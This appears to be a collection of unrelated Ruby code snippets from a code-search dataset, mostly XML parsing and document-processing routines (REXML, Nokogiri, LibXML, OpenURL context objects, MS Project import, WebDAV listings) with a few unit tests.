<search:facet-value name=\"Central and South America\" count=\"1012\">Central and South America</search:facet-value>\n <search:facet-value name=\"East Asia-Pacific\" count=\"1198\">East Asia-Pacific</search:facet-value>\n <search:facet-value name=\"Eurasia\" count=\"761\">Eurasia</search:facet-value>\n <search:facet-value name=\"Europe\" count=\"1057\">Europe</search:facet-value>\n <search:facet-value name=\"Middle East and Persian Gulf\" count=\"10374\">Middle East and Persian Gulf</search:facet-value>\n <search:facet-value name=\"North America and Caribbean\" count=\"16\">North America and Caribbean</search:facet-value>\n <search:facet-value name=\"South Asia\" count=\"6933\">South Asia</search:facet-value>\n </search:facet>\n <search:facet name=\"Country\">\n <search:facet-value name=\"England\" count=\"200\">England</search:facet-value>\n <search:facet-value name=\"Ireland\" count=\"422\">Ireland</search:facet-value>\n <search:facet-value name=\"Brazil\" count=\"10\">Brazil</search:facet-value>\n </search:facet>\n <search:qtext>bomb</search:qtext>\n <search:metrics>\n <search:query-resolution-time>PT0.420016S</search:query-resolution-time>\n <search:facet-resolution-time>PT0.002873S</search:facet-resolution-time>\n <search:snippet-resolution-time>PT0.039998S</search:snippet-resolution-time>\n <search:total-time>PT0.463759S</search:total-time>\n </search:metrics>\n</search:response>\n BEGIN\n @search_results = ActiveDocument::SearchResults.new(xml_results)\n @search_results_noh = ActiveDocument::SearchResults.new(xml_results_noh)\n @faceted_results = ActiveDocument::SearchResults.new(results_with_facets)\n end",
"def get_xml_info(xml, xp)\n return '' unless block_given?\n doc = Nokogiri.XML xml\n doc.xpath(xp).map {\n |node| yield node\n }\n end",
"def test_ticket1573\n $TOP_MODULE = \"TOP\"\n $VERBOSE = true\n printf \"\\n@T:#{__method__}\\n\"\n @root = XMLParse.read(\"./tp/1573.xml\")\n\n# connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_b3\",\"adr\",true) # Input signal\n# p connect_list\n# revised = get_path(connect_list)\n# p revised\n# assert_equal(golden,revised)\n\n golden = [\n [[\"sub_a\", \"a3\"], [\"sub_b3\", \"data\"]], \n [[\"sub_a\", \"a3\"], [\"sub_b3\", \"data\"], [\"sub_b3.sub_b_sub\", \"A0\"]]\n ]\n connect_list = XMLParse::search_Connection(true,@root,\"TOP\",\"sub_a\",[\"a3\",nil],true) # Input signal\n\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n golden = [\n [[\"sub_a\", \"a0\"], [\"sub_b3\", \"data\"]], \n [[\"sub_a\", \"a0\"], [\"sub_b3\", \"data\"], [\"sub_b3.sub_b_sub\", \"A3\"]]\n ]\n connect_list = XMLParse::search_Connection(true,@root,\"TOP\",\"sub_a\",[\"a0\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n golden = [\n [[\"sub_b3\", \"data\"], [\"sub_a\", \"a3\"]], \n [[\"sub_b3\", \"data\"], [\"sub_a\", \"a2\"]], \n [[\"sub_b3\", \"data\"], [\"sub_a\", \"a1\"]], \n [[\"sub_b3\", \"data\"], [\"sub_a\", \"a0\"]]\n ]\n\n connect_list = XMLParse::search_Connection(true,@root,\"TOP\",\"sub_b3\",[\"data\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n# connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_a\",\"a1\",true) # Input signal\n# connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_a\",\"a2\",true) # Input signal\n # connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_a\",\"a0\",true) # Input signal\n #\n end",
"def import_xml(xml)\n if xml.is_a?(String)\n xml.force_encoding(\"UTF-8\") if xml.respond_to? :force_encoding\n xml.scrub!\n doc = REXML::Document.new xml.gsub(/>[\\s\\t]*\\n*[\\s\\t]*</, \"><\").strip\n elsif xml.is_a?(REXML::Document)\n doc = xml\n else\n raise ArgumentError, \"Argument must be an REXML::Document or well-formed XML string\"\n end\n\n # Cut to the context object\n ctx = REXML::XPath.first(doc, \".//ctx:context-object\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n\n ctx.attributes.each do |attr, val|\n @admin.each do |adm, vals|\n set_administration_key(adm, val) if vals[\"label\"] == attr\n end\n end\n ctx.to_a.each do |ent|\n if @@defined_entities.value?(ent.name)\n import_entity(ent)\n else\n import_custom_node(ent)\n end\n end\n end",
"def parse_context; end",
"def parse_context; end",
"def test_ticket1579\n\n $TOP_MODULE = \"TOP_1579\"\n $VERBOSE = true\n printf \"\\n@T:#{__method__}\\n\"\n @root = XMLParse.read(\"./tp/1579.xml\")\n \n# connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_b3\",\"adr\",true) # Input signal\n# p connect_list\n# revised = get_path(connect_list)\n# p revised\n# assert_equal(golden,revised)\n\n golden = [\n [[\"Asub_a\", \"a3\"], [\"Asub_b3\", \"data\"]], \n [[\"Asub_a\", \"a3\"], [\"Asub_b3\", \"data\"], [\"Asub_b3.Asub_b3\", \"A0\"]]\n ]\n connect_list = XMLParse::search_Connection(true,@root,\"TOP_1579\",\"Asub_a\",[\"a3\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n golden = [\n [[\"Asub_a\", \"a0\"], [\"Asub_b3\", \"data\"]], \n [[\"Asub_a\", \"a0\"], [\"Asub_b3\", \"data\"], [\"Asub_b3.Asub_b3\", \"A3\"]]\n ]\n connect_list = XMLParse::search_Connection(true,@root,\"TOP_1579\",\"Asub_a\",[\"a0\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n\n golden = [\n [[\"Asub_b3.Asub_b3\", \"A0\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A0\"], [\"Asub_b3\", \"data\"], [\"Asub_a\", \"a3\"]]\n ]\n \n connect_list = XMLParse::search_Connection(true,@root,\"TOP_1579.ASubB\",\"Asub_b3.Asub_b3\",[\"A0\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n golden = [\n [[\"Asub_b3.Asub_b3\", \"A1\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A1\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A1\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A1\"], [\"Asub_b3\", \"data\"], [\"Asub_a\", \"a1\"]] \n ]\n \n connect_list = XMLParse::search_Connection(true,@root,\"TOP_1579.ASubB\",\"Asub_b3.Asub_b3\",[\"A1\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n golden = [\n [[\"Asub_b3.Asub_b3\", \"A3\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A3\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A3\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A3\"], [\"Asub_b3\", \"data\"]],\n [[\"Asub_b3.Asub_b3\", \"A3\"], [\"Asub_b3\", \"data\"], [\"Asub_a\", \"a0\"]]\n ]\n \n connect_list = XMLParse::search_Connection(true,@root,\"TOP_1579.ASubB\",\"Asub_b3.Asub_b3\",[\"A3\",nil],true) # Input signal\n revised = get_path(connect_list)\n assert_equal(golden,revised)\n\n\n# connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_a\",\"a1\",true) # Input signal\n# connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_a\",\"a2\",true) # Input signal\n # connect_list = XMLParse::search_Connection(@root,\"TOP\",\"sub_a\",\"a0\",true) # Input signal\n #\n end",
"def process_context(doc, context)\n test_context = XPath.match(doc, context.attributes[\"select\"])\n namespaces = context.namespaces\n namespaces.delete(\"var\")\n namespaces = nil if namespaces.empty?\n variables = {}\n var_namespace = \"http://jaxen.org/test-harness/var\"\n XPath.each(context,\n \"@*[namespace-uri() = '#{var_namespace}']\") do |attribute|\n variables[attribute.name] = attribute.value\n end\n XPath.each(context, \"valueOf\") do |value|\n process_value_of(test_context, variables, namespaces, value)\n end\n XPath.each(context,\n \"test[not(@exception) or (@exception != 'true')]\") do |test|\n process_nominal_test(test_context, variables, namespaces, test)\n end\n XPath.each(context,\n \"test[@exception = 'true']\") do |test|\n process_exceptional_test(test_context, variables, namespaces, test)\n end\n end",
"def xml\n doc = REXML::Document.new\n coContainer = doc.add_element \"ctx:context-objects\"\n coContainer.add_namespace(\"ctx\", \"info:ofi/fmt:xml:xsd:ctx\")\n coContainer.add_namespace(\"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n coContainer.add_attribute(\"xsi:schemaLocation\", \"info:ofi/fmt:xml:xsd:ctx http://www.openurl.info/registry/docs/info:ofi/fmt:xml:xsd:ctx\")\n co = coContainer.add_element \"ctx:context-object\"\n @admin.each_key do |k|\n next if k == \"ctx_enc\"\n co.add_attribute(@admin[k][\"label\"], @admin[k][\"value\"])\n end\n\n [{@referent => \"rft\"},\n {@referringEntity => \"rfe\"}, {@requestor => \"req\"},\n {@referrer => \"rfr\"}].each do |entity|\n entity.each do |ent, label|\n ent.xml(co, label) unless ent.empty?\n end\n end\n\n [{@serviceType => \"svc\"}, {@resolver => \"res\"}].each do |entity|\n entity.each do |entCont, label|\n entCont.each do |ent|\n ent.xml(co, label) unless ent.empty?\n end\n end\n end\n\n doc.to_s\n end",
"def set_matched_context(res)\n if res['outputContexts'].is_a?(Array)\n context = res['outputContexts'].map { |x| x['name'] }\n end\n # Dump the unnecessary projects/newagent-gjetnk/agent/sessions/avatarSessionId/contexts/ stuff\n context.map! { |c| c.split('.').last }\n # Dump anything that isn't the right kind of context, mega, system counters, etc.\n context.reject! { |e| e.include?('projects/newagent-gjetnk/agent/sessions/avatarSessionId/contexts/') }\n context\n end",
"def process_xml(xml)\n doc = REXML::Document.new xml\n @message_identifier = doc.text(\"//imsx_POXRequestHeaderInfo/imsx_messageIdentifier\")\n @lis_result_sourcedid = doc.text(\"//resultRecord/sourcedGUID/sourcedId\")\n\n if REXML::XPath.first(doc, \"//deleteResultRequest\")\n @operation = DELETE_REQUEST\n elsif REXML::XPath.first(doc, \"//readResultRequest\")\n @operation = READ_REQUEST\n elsif REXML::XPath.first(doc, \"//replaceResultRequest\")\n @operation = REPLACE_REQUEST\n @score = doc.get_text(\"//resultRecord/result/resultScore/textString\")\n end\n extention_process_xml(doc)\n end",
"def update\n DOCUMENT_PATHS.each do |attr_name, path|\n if path.match(/\\*/)\n instance_variable_get(\"@#{attr_name}\").each do |simple_file_name, contents|\n replace_entry(\"word/#{simple_file_name}.xml\", contents.serialize(save_with: 0))\n end\n else\n xml_document = instance_variable_get(\"@#{attr_name}\")\n replace_entry path, xml_document.serialize(save_with: 0) if xml_document\n end\n end\n end",
"def get_contents uri,user,password,recursive=false\n \n found=[]\n\n content = propfind uri,user,password,1\n\n parser = LibXML::XML::Parser.string(content,:encoding => LibXML::XML::Encoding::UTF_8)\n\n document = parser.parse\n\n href_nodes = document.find(\"ns:response\",\"ns:DAV:\")\n \n href_nodes.each do |node|\n unless node == href_nodes.first \n href_node=node.find_first(\"ns:href\",\"ns:DAV:\")\n last_modified_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:getlastmodified\",\"ns:DAV:\")\n creation_date_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:creationdate\",\"ns:DAV:\")\n content_type_node = node.find_first(\"*/ns:prop\",\"ns:DAV:\").find_first(\"ns:getcontenttype\",\"ns:DAV:\")\n\n attributes={ \n :containing_path=>uri.to_s,\n :full_path=>uri.merge(href_node.inner_xml).to_s,\n :updated_at=>DateTime.parse(last_modified_node.inner_xml).to_s,\n :created_at=>DateTime.parse(creation_date_node.inner_xml).to_s,\n :is_directory=>is_dir?(href_node,content_type_node)\n }\n found << attributes\n end\n end\n \n found.select{|a| a[:is_directory]}.each do |dir_tuple|\n child_uri=URI.parse(dir_tuple[:full_path])\n children=get_contents child_uri,user,password,true\n dir_tuple[:children]=children\n end if recursive\n \n return found\n \n end",
"def resolve_namespace_of(name)\n context = nil\n while true\n ns, name = GCCXMLLoader.split_first_namespace(name)\n name = \"/#{name}\"\n break if ns == '/'\n ns = ns[0..-2]\n candidates = info.name_to_nodes[ns].find_all { |n| NAMESPACE_NODE_TYPES.include?(n.name) }\n if !context\n context = candidates.to_a.first\n else\n context = candidates.find { |node| node['context'].to_s == context }\n end\n if !context\n break\n else context = context[\"id\"].to_s\n end\n end\n return name, context\n end",
"def get_all_reference_paths2(path, source, context, visited_paths = Set.new, &block)\n visited_paths << path\n source ||= File.read(path)\n source.each_line do |l|\n next unless l.start_with?('///') && !(m = %r{^///\\s*<reference\\s+path=(?:\"([^\"]+)\"|'([^']+)')\\s*/>\\s*}.match(l)).nil?\n matched_path = m.captures.compact[0]\n if matched_path.start_with? '.'\n abs_matched_path = File.expand_path(matched_path, File.dirname(path))\n puts \"Working with relative file reference (#{matched_path}) which resolves to: #{abs_matched_path}\" if @@options[:logging]\n else\n abs_matched_path = File.expand_path(URI.parse(context.resolve(matched_path)).path)\n puts \"Working with absolute file reference (#{matched_path}) which resolves to: #{abs_matched_path}\" if @@options[:logging]\n end\n\n unless visited_paths.include? abs_matched_path\n yield abs_matched_path\n get_all_reference_paths2(abs_matched_path, nil, context, visited_paths, &block)\n end\n end\n end",
"def get_xmlinfo\n def do_xmlget(imagepath)\n xmlinfo = %x{imagex info --xml #{imagepath}}\n @xmlinfo = REXML::Document.new xmlinfo\n return @xmlinfo\n end\n if defined?(@xmlinfo) then return @xmlinfo else @xmlinfo = nil end\n search = File.join(@path, 'sources/install.wim')\n wimage = Dir.glob(search, File::FNM_CASEFOLD)\n if wimage.length > 0\n return do_xmlget(wimage.first)\n end\n search = File.join(@path, 'sources/boot.wim')\n bimage = Dir.glob(search, File::FNM_CASEFOLD)\n if bimage.length > 0\n return do_xmlget(bimage.first)\n end\n @xmlinfo\n end",
"def parse(path)\n elems = path.split('/')\n\n i = 0\n vc = VirtualContext.new(@defs)\n @defs.zip(elems).map do |d, e|\n # register field order\n vc.append_allfields(d.vars)\n\n # not enough elems, incomplete path\n break if e.nil?\n\n # extract values\n vc.append_values(d.parse_values(e)) unless e.empty?\n\n i += 1\n\n # last token is multimatch, stop to complete it\n break if (i == elems.size and is_multimatch(e))\n end\n\n# puts (i - 1)\n\n vc.set_current_index(i - 1)\n\n return vc\n end",
"def find_nodes_and_map(xml)\n self.maps.each do |map|\n doc = LibXML::XML::Parser.string(xml).parse\n nodes = doc.find(map[:base_path])\n return nodes, map if !nodes.empty?\n end\n return [], nil\n puts \"No map found in #{self.class} for xml #{xml[0..100]}...\" if $DEBUG\n end",
"def parts\n @body.xpath('./a:part', a: NS)\n end",
"def xml(path, params = {}, env = {}, &block)\n params = {:api_key => '5c87948ac1979401'}.merge params\n xml = LibXML::XML::Parser.string(get(path + '.xml', params, env).body).parse\n if error = xml.find('/error').first\n message = error.find_first('message')\n puts\n puts \"Server Error: #{message.content}\"\n backtrace = error.find_first('backtrace')\n puts backtrace.content\n exit!\n end\n if block_given?\n yield xml\n else\n xml\n end\n end",
"def process_partials(node_name, data, xml_base, path=\"/SystemConfiguration\")\n #If the data is a hash, it is a component, recurse through to process\n if data.is_a?(Hash)\n new_path = \"#{path}/Component[@FQDD='#{node_name}']\"\n existing = xml_base.xpath(new_path).first\n if existing.nil?\n new_node = Nokogiri::XML::Node.new \"Component\", xml_base\n new_node.parent = xml_base.xpath(path).first\n new_node[\"FQDD\"] = node_name\n end\n data.keys.each do |child|\n process_partials(child, data[child], xml_base, new_path)\n end\n #If the data is an Array, it is a list of attributes with the same Name but different values\n elsif data.is_a?(Array)\n data.each_with_index do |content, index|\n existing = xml_base.xpath(\"#{path}[#{index+1}]\").first.content = content\n if existing\n existing.content = data[index]\n else\n new_node = Nokogiri::XML::Node.new \"Attribute\", xml_base\n new_node.parent = xml_base.xpath(path).first\n new_node[\"Name\"] = node_name\n new_node.content = content\n end\n end\n #Otherwise, it should just be the value of the attribute to set\n else\n attr_path = \"#{path}/Attribute[@Name='#{node_name}']\"\n existing = xml_base.xpath(attr_path).first\n if existing\n existing.content = data\n else\n new_node = Nokogiri::XML::Node.new \"Attribute\", xml_base\n new_node.parent = xml_base.xpath(path).first\n new_node[\"Name\"] = node_name\n new_node.content = data\n end\n end\n end",
"def process_fields(xml_file_path_pattern, options)\n # Return variable\n result = ''\n\n # If the configuration file is present\n if File.exist?(xml_file_path_pattern)\n \n # Read XML File\n xml = File.read(xml_file_path_pattern)\n\n # Parse XML File\n doc = Hpricot::XML(xml)\n\n # Process XML File\n (doc/:spree_tracking).each do |root|\n (root/:field).each_with_index do |field, ind|\n # Retrieve processing field\n processing_field = process_field(field, options[:fields_hash])\n\n # Log Message\n message = ''\n message = \"'#{processing_field}' : #{processing_field.length}\" unless processing_field.nil?\n p \"FIELD #{ind} : #{message}\"\n\n # Concate to the result\n result += processing_field unless processing_field.nil?\n \n # If there are separator value, add them\n result += options[:separator] if options.has_key?(:separator)\n \n end\n # If there are global settings\n unless (root/:global_settings).nil?\n # Retrieve global_settings part\n global_settings_field = (root/:global_settings)\n\n # Perform this part\n result = global_settings_processing(result, global_settings_field)\n end\n\n end\n end\n\n # Return the result\n result\n end",
"def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end",
"def load_xml(path)\n fail MethodDenied, :load_xml if infobase.read_only?\n infobase.designer do\n loadConfigFromFiles path\n end.run.wait.result.verify!\n path\n end",
"def search_xml(search_path)\n\t\t\tself.xml.search(search_path)\n\t\trescue Exception => e\n\t\t\tputs \"Error searching XML: #{e}\"\n\t\tend",
"def merge_context_objects\n ctx_doc = REXML::Document.new(@context_objects[0].xml)\n root = ctx_doc.root\n @context_objects.each do | ctx |\n next if @context_objects.index(ctx) == 0\n c_doc = REXML::Document.new(ctx.xml)\n c_elm = c_doc.elements['ctx:context-objects/ctx:context-object']\n root.add_element(c_elm)\n end \n return ctx_doc.to_s\n end",
"def path\n \"/onca/xml\"\n end",
"def edit_xml(path, &block)\n write path, xml(path).tap(&block).to_s\n end",
"def additional_information_xml(xml)\n\n end",
"def add_context(context)\n return unless context.present?\n @current_context ||= []\n @current_context << context.strip\n end",
"def insert_extension(xml1, xml2, pattern = /<clTRID>/)\n xml1.sub(pattern, \"#{xml2}\\\\&\")\n end",
"def each_present_path_ctx\n ctx = @scoped_contexts\n if ctx.nil?\n # no-op\n else\n current_path.each do |path_part|\n if ctx.key?(path_part)\n ctx = ctx[path_part]\n else\n break\n end\n end\n\n while ctx\n if (scoped_ctx = ctx[:scoped_context])\n yield(scoped_ctx)\n end\n ctx = ctx[:parent]\n end\n end\n end",
"def at_xpath(*args); end",
"def at_xpath(*args); end",
"def fetch_xml_attr(path, xml, attribute = \"id\") # :doc:\n XML::Parser.parse(xml.body, \"/pairwise/#{path}\", attribute)\n end",
"def get_context_attr_obj_with_path(err_msgs, dir, context)\n attr_object = context.find_attribute_object?(self[dir][:term_index])\n unless attr_object && attr_object.value\n err_msgs << attribute_error_message(dir)\n end\n index_map_path = self[dir][:path]\n # TODO: if treat :create_component_index need to put in here process_unravel_path and process_create_component_index (from link_defs.rb)\n [attr_object, index_map_path && AttributeLink::IndexMap::Path.create_from_array(index_map_path)]\n end",
"def xpath; end",
"def xpath; end",
"def at(path)\n\t\t\t@path_elements += path.split(\"/\")\n\t\t\treturn self\n\t\tend",
"def context_at_location(uri, position)\n code_file = code_file_for_uri(uri)\n code_file&.context_at_location(position)\n end",
"def find_from_config(xpath, config, options = {})\n name_node = REXML::XPath.match(config, xpath)\n return nil if name_node.empty?\n properties = {}\n name_node[0].parent.each_element_with_text do |e|\n properties[e.name] = e.text\n end\n\n from_hash(properties, options)\n end",
"def replace_relative_references2(ts_path, source, context)\n ts_dir = File.dirname(File.expand_path(ts_path))\n escaped_dir = ts_dir.gsub(/[\"\\\\]/, '\\\\\\\\\\&') # \"\\\"\" => \"\\\\\\\"\", '\\\\' => '\\\\\\\\'\n\n # Why don't we just use gsub? Because it display odd behavior with File.join on Ruby 2.0\n # So we go the long way around.\n (source.each_line.map do |l|\n if l.start_with?('///') && !(m = %r{^///\\s*<reference\\s+path=(?:\"([^\"]+)\"|'([^']+)')\\s*/>\\s*}.match(l)).nil?\n matched_path = m.captures.compact[0]\n if matched_path.start_with? '.'\n abs_path = File.join(escaped_dir, matched_path)\n else\n abs_path = File.expand_path(URI.parse(context.resolve(matched_path)).path)\n end\n\n l = l.sub(matched_path, abs_path)\n end\n next l\n end).join\n end",
"def get_tasks_from_xml( doc )\r\n\r\n # Extract details of every task into a flat array\r\n tasks = []\r\n\r\n logger.error \"DEBUG: BEGIN get_tasks_from_xml\"\r\n\r\n tracker_alias = Setting.plugin_redmine_loader['tracker_alias'].force_encoding \"UTF-8\"\r\n tracker_field_id = nil;\r\n #FIXME Надо проверить как оно работает\r\n doc.each_element( \"Project/ExtendedAttributes/ExtendedAttribute[Alias='#{tracker_alias}']/FieldID\") do | ext_attr |\r\n tracker_field_id = ext_attr.text.to_i;\r\n end\r\n\r\n doc.each_element( 'Project/Tasks/Task' ) do | task |\r\n begin\r\n logger.error \"Project/Tasks/Task found\"\r\n struct = OpenStruct.new\r\n struct.level = task.get_elements( 'OutlineLevel' )[0].text.to_i if task.get_elements('OutlineLevel')[0]\r\n struct.outlinenumber = task.get_elements('OutlineNumber')[0].text.strip if task.get_elements('OutlineNumber')[0]\r\n\r\n if auxString = struct.outlinenumber\r\n index = auxString.rindex('.')\r\n if index\r\n index -= 1\r\n struct.outnum = auxString[0..index]\r\n end\r\n end\r\n\r\n struct.tid = task.get_elements('ID')[0].text.to_i if task.get_elements('ID')[0]\r\n struct.uid = task.get_elements('UID')[0].text.to_i if task.get_elements('UID')[0]\r\n struct.title = task.get_elements('Name')[0].text.strip if task.get_elements('Name')[0]\r\n struct.start = task.get_elements('Start')[0].text.split(\"T\")[0] if task.get_elements('Start')[0]\r\n struct.finish = task.get_elements('Finish')[0].text.split(\"T\")[0] if task.get_elements('Finish')[0]\r\n\r\n s1 = task.get_elements('Start')[0].text.strip if task.get_elements('Start')[0]\r\n s2 = task.get_elements('Finish')[0].text.strip if task.get_elements('Finish')[0]\r\n\r\n task.each_element( \"ExtendedAttribute[FieldID='#{tracker_field_id}']/Value\") do | tracker_value |\r\n struct.tracker_name = tracker_value.text\r\n end\r\n\r\n # If the start date and the finish date are the same it is a milestone\r\n struct.milestone = (s1 == s2) ? 1 : 0\r\n\r\n struct.percentcomplete = task.get_elements( 'PercentComplete')[0].text.to_i\r\n struct.notes = task.get_elements( 'Notes' )[ 0 ].text.strip if task.get_elements( 'Notes' )[0]\r\n struct.predecessors = []\r\n struct.delays = []\r\n task.each_element( 'PredecessorLink' ) do | predecessor |\r\n begin\r\n struct.predecessors.push( predecessor.get_elements('PredecessorUID')[0].text.to_i )\r\n struct.delays.push( predecessor.get_elements('LinkLag')[0].text.to_i )\r\n end\r\n end\r\n\r\n tasks.push( struct )\r\n #rescue\r\n# rescue => error\r\n# # Ignore errors; they tend to indicate malformed tasks, or at least,\r\n# # XML file task entries that we do not understand.\r\n# logger.error \"DEBUG: Unrecovered error getting tasks: #{error}\"\r\n end\r\n end\r\n\r\n # Sort the array by ID. By sorting the array this way, the order\r\n # order will match the task order displayed to the user in the\r\n # project editor software which generated the XML file.\r\n\r\n tasks = tasks.sort_by { | task | task.tid }\r\n\r\n outlinenumber2UID = tasks.group_by(&:outlinenumber)\r\n\r\n # Step through the sorted tasks. Each time we find one where the\r\n # *next* task has an outline level greater than the current task,\r\n # then the current task MUST be a summary. Record its name and\r\n # blank out the task from the array. Otherwise, use whatever\r\n # summary name was most recently found (if any) as a name prefix.\r\n\r\n all_categories = []\r\n category = ''\r\n\r\n tasks.each_index do | index |\r\n task = tasks[ index ]\r\n next_task = tasks[ index + 1 ]\r\n\r\n # Instead of deleting the sumary tasks I only delete the task 0 (the project)\r\n\r\n #if ( next_task and next_task.level > task.level )\r\n # category = task.title.strip.gsub(/:$/, '') unless task.title.nil? # Kill any trailing :'s which are common in some project files\r\n # all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n #tasks[ index ] = \"Prueba\"\r\n if task.level == 0\r\n category = task.title.strip.gsub(/:$/, '') if task.title.present? # Kill any trailing :'s which are common in some project files\r\n all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n tasks[ index ] = nil\r\n else\r\n task.category = category\r\n end\r\n end\r\n\r\n # Remove any 'nil' items we created above. Add parent_uid field\r\n tasks = tasks.compact.uniq.map do |task|\r\n task.parent_uid = outlinenumber2UID[task.outnum][0].uid if outlinenumber2UID[task.outnum].present?\r\n task\r\n end\r\n\r\n # Now create a secondary array, where the UID of any given task is\r\n # the array index at which it can be found. This is just to make\r\n # looking up tasks by UID really easy, rather than faffing around\r\n # with \"tasks.find { | task | task.uid = <whatever> }\".\r\n\r\n uid_tasks = []\r\n\r\n tasks.each do | task |\r\n uid_tasks[ task.uid ] = task\r\n end\r\n\r\n # OK, now it's time to parse the assignments into some meaningful\r\n # array. These will become our redmine issues. Assignments\r\n # which relate to empty elements in \"uid_tasks\" or which have zero\r\n # work are associated with tasks which are either summaries or\r\n # milestones. Ignore both types.\r\n\r\n real_tasks = []\r\n\r\n #doc.each_element( 'Project/Assignments/Assignment' ) do | as |\r\n # task_uid = as.get_elements( 'TaskUID' )[ 0 ].text.to_i\r\n # task = uid_tasks[ task_uid ] unless task_uid.nil?\r\n # next if ( task.nil? )\r\n\r\n # work = as.get_elements( 'Work' )[ 0 ].text\r\n # Parse the \"Work\" string: \"PT<num>H<num>M<num>S\", but with some\r\n # leniency to allow any data before or after the H/M/S stuff.\r\n # hours = 0\r\n # mins = 0\r\n # secs = 0\r\n\r\n # strs = work.scan(/.*?(\\d+)H(\\d+)M(\\d+)S.*?/).flatten unless work.nil?\r\n # hours, mins, secs = strs.map { | str | str.to_i } unless strs.nil?\r\n\r\n #next if ( hours == 0 and mins == 0 and secs == 0 )\r\n\r\n # Woohoo, real task!\r\n\r\n # task.duration = ( ( ( hours * 3600 ) + ( mins * 60 ) + secs ) / 3600 ).prec_f\r\n\r\n # real_tasks.push( task )\r\n #end\r\n\r\n set_assignment_to_task(doc,uid_tasks)\r\n\r\n logger.error \"DEBUG: Real tasks: #{real_tasks.inspect}\"\r\n logger.error \"DEBUG: Tasks: #{tasks.inspect}\"\r\n\r\n real_tasks = tasks if real_tasks.empty?\r\n\r\n real_tasks = real_tasks.uniq if real_tasks.present?\r\n all_categories = all_categories.uniq.sort\r\n\r\n logger.error \"DEBUG: END get_tasks_from_xml\"\r\n\r\n return real_tasks, all_categories\r\n end",
"def xpath(*args); end",
"def xpath(*args); end",
"def filter\n doc = @mode == :xml ? Hpricot.XML(@str) : Hpricot(@str)\n attr_rgxp = %r/\\[@(\\w+)\\]$/o\n path_to_root = \"\"\n path_parts = @page.destination.split('/') - SITE.output_dir.split('/')\n (path_parts.length - 1).times { path_to_root += \"../\" }\n Webby.site.xpaths.each do |xpath|\n @attr_name = nil\n doc.search(xpath).each do |element|\n @attr_name ||= attr_rgxp.match(xpath)[1]\n a = element.get_attribute(@attr_name)\n if a[0..0] == '/' # Only 'fix' absolute URIs\n new_uri = path_to_root + a[1..-1]\n # puts \"Updating URI: #{a}\"\n # puts \" to: #{new_uri}\"\n element.set_attribute(@attr_name, new_uri)\n end\n end\n end\n \n doc.to_html\n end",
"def addFileToContext(context, devfile = nil)\n begin \n \n if not devfile\n devfile = getDevfileFromURI(params[:file_uri])\n end\n \n if not devfile\n raise Exception.new(\"File not found!\")\n end\n \n \n # Checks that user is authorized to file\n if not authorizedToFile(devfile)\n raise Exception.new(\"Not authorized to devfile\")\n end\n\n # Find metadatatype context_hash\n metadatatype = MetadataType.find_by_name(\"context_hash\")\n if metadatatype == nil\n raise Exception.new(\"couldn't find context_hash metadatatype, when adding file to context!'\")\n end\n \n # Add context_hash metadata for the devfile. With this metadata you can find what contexts devfile is part of.\n Metadata.find_or_create_by_devfile_id_and_metadata_type_id_and_value(devfile.id, metadatatype.id,\n @context.context_hash)\n \n\n # Adds same group rights to the devfile as context has\n groups = ContextGroupPermission.find_all_by_context_id(@context.id)\n \n if groups\n groups.each do |cgp|\n DevfileAuthGroup.find_or_create_by_devfile_id_and_group_id(:devfile_id => devfile.id,\n :group_id => cgp.group_id)\n end\n end\n begin\n m = \"Content (#{devfile.name}) added to #{@context.user.username}'s #{@context.name} context\"\n XmppHelper::notificationToContextNode(devfile, @context, m, \"content-added-to-context\")\n rescue Exception => err\n putsE(err)\n end\n rescue Exception => e\n putsE(e)\n raise Exception.new(\"Error in adding file to context! \\n\")\n end\n \n return\n end",
